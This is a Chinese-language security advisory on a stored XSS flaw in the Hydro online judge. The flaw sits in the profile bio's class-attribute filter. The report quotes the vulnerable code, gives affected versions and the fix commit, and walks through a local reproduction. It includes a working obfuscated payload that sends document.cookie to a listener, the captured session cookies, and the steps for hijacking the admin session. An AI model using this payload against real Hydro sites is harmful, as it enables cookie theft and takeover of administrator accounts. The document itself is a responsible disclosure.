Hydro 漏洞报告
软件名称:Hydro
开发者或厂商:hydro-dev
代码仓库:https://github.com/hydro-dev/Hydro
1. 个人简介存储型 XSS
| 简要描述: | 攻击者在个人简介中写入特制 markdown,受害者打开攻击者的简介页面时被 XSS,导致账号被接管。 |
|---|---|
| 影响版本: | 4.16.1 ~ 5.1.0(UI ≤ 4.59.0) |
| 前置条件: | 攻击者有普通账号。 |
| 修复: | Hydro commit 3bae56fe |
漏洞成因
用户简介(bio)按 markdown 保存,渲染时由 xssProtector 交给 FilterXSS 处理。相关代码如下:
// packages/ui-default/backendlib/markdown-it-xss.ts:180-199 commit 3c8286dd13
export function xssProtector(md) {
function protector(state) {
const processor = state.inlineMode ? xssInline : xss;
for (let i = 0; i < state.tokens.length; i++) {
const cur = state.tokens[i];
if (cur.type === 'html_block') {
cur.content = processor.process(cur.content);
}
if (cur.type === 'inline') {
const inlineTokens = cur.children;
for (let ii = 0; ii < inlineTokens.length; ii++) {
if (inlineTokens[ii].type === 'html_inline') {
inlineTokens[ii].content = processor.process(inlineTokens[ii].content);
}
}
}
}
}
md.core.ruler.after('linkify', 'xss', protector);
}
xss 覆盖了 FilterXSS 的 safeAttrValue。class 分支只按空格切分,保留白名单项与以 language- 开头的项,返回值没有经过 escapeAttrValue。相关代码如下:
// packages/ui-default/backendlib/markdown-it-xss.ts:152-156 commit 3c8286dd13
safeAttrValue(tag, name, value) {
if (name === 'id') return escapeAttrValue(`xss-id-${value}`);
if (name === 'class') {
return value.split(' ').filter((i) => whitelistClasses.includes(i) || i.startsWith('language-')).join(' ');
}
return safeAttrValue(tag, name, value, CssFilter);
}
language- 例外由提交 d9a903de86 引入,随 4.16.1 发布,4.16.0 及更早版本的 class 过滤没有该分支。
FilterXSS 随后把返回值放进 class="..."。当值中出现双引号时,属性提前结束,后面的 <script> 成为独立标签。
用户简介的渲染入口如下:
{# packages/ui-default/templates/user_detail.html:97-103 commit 3c8286dd13 #}
{% if not udoc.bio %}
...
{% else %}
{{ udoc.bio|default('')|markdown|safe }}
{% endif %}
bio 位于 AccountSetting,注册用户可在 /home/settings/account 修改。构造的 class 值以 language- 开头且不含空格,因此通过过滤;其中的双引号结束 class 属性,后续 <script> 被执行。
会话 cookie sid 未设置 HttpOnly(packages/hydrooj/src/service/layers/base.ts:68),脚本读取 document.cookie 后即可复用受害者会话。
复现环境搭建
拉取官方仓库并使用官方 compose 启动后端与 MongoDB:
git clone https://github.com/hydro-dev/Hydro.git
cd Hydro/install/docker
docker compose -p hydro-report up -d oj-mongo oj-backend
等待 oj-backend 变为 healthy 后,访问 http://127.0.0.1。官方 compose 启动时会创建 uid 为 2 的 judge 账号。
我们创建 uid 为 3 的 admin 与 uid 为 4 的 attacker:
docker exec oj-backend hydrooj cli user create admin@example.com admin 'Admin@12345' 3
docker exec oj-backend hydrooj cli user setSuperAdmin 3
docker exec oj-backend hydrooj cli user create attacker@example.com attacker 'Attacker@123' 4
确认 admin 的权限:
docker exec oj-mongo mongosh hydro --quiet --eval 'printjson(db.user.findOne({_id:3},{uname:1,priv:1}))'
{
_id: 3,
uname: 'admin',
priv: -1
}
复现过程
以 attacker / Attacker@123 登录,打开 http://127.0.0.1/home/settings/account,在 Bio 中填入以下内容并保存:
<span class='language-a"><script>fetch(String.fromCharCode(104,116,116,112,58,47,47,49,50,55,46,48,46,48,46,49,58,57,57,57,57,47,63,99,61)+encodeURIComponent(document.cookie))</script>'>
String.fromCharCode 拼出 http://127.0.0.1:9999/?c=,这样 payload 中没有引号和空格。class 的值为 language-a"><script>...,以 language- 开头,因此通过过滤。

在本地启动一个 HTTP 监听端:
python3 -m http.server 9999
Serving HTTP on 0.0.0.0 port 9999 (http://0.0.0.0:9999/) ...
以 admin / Admin@12345 登录,打开 attacker 的主页 http://127.0.0.1/user/4:

监听端收到受害者 cookie:
127.0.0.1 - - [07/Nov/2026 01:17:00] "GET /?c=sid%3D6IgYEWPMPm0VsQazdFWwYkp3CVm6BjT4%3B%20sid.sig%3DrYduXZBnz4I561-NNCkC2ihxNDI HTTP/1.1" 200 -
解码后得到:
sid=6IgYEWPMPm0VsQazdFWwYkp3CVm6BjT4; sid.sig=rYduXZBnz4I561-NNCkC2ihxNDI
在一个新的浏览器中打开 http://127.0.0.1/,在控制台写入上面两个 cookie:
document.cookie = 'sid=6IgYEWPMPm0VsQazdFWwYkp3CVm6BjT4; path=/';
document.cookie = 'sid.sig=rYduXZBnz4I561-NNCkC2ihxNDI; path=/';
随后打开 http://127.0.0.1/manage,页面以 admin 身份进入系统管理后台:
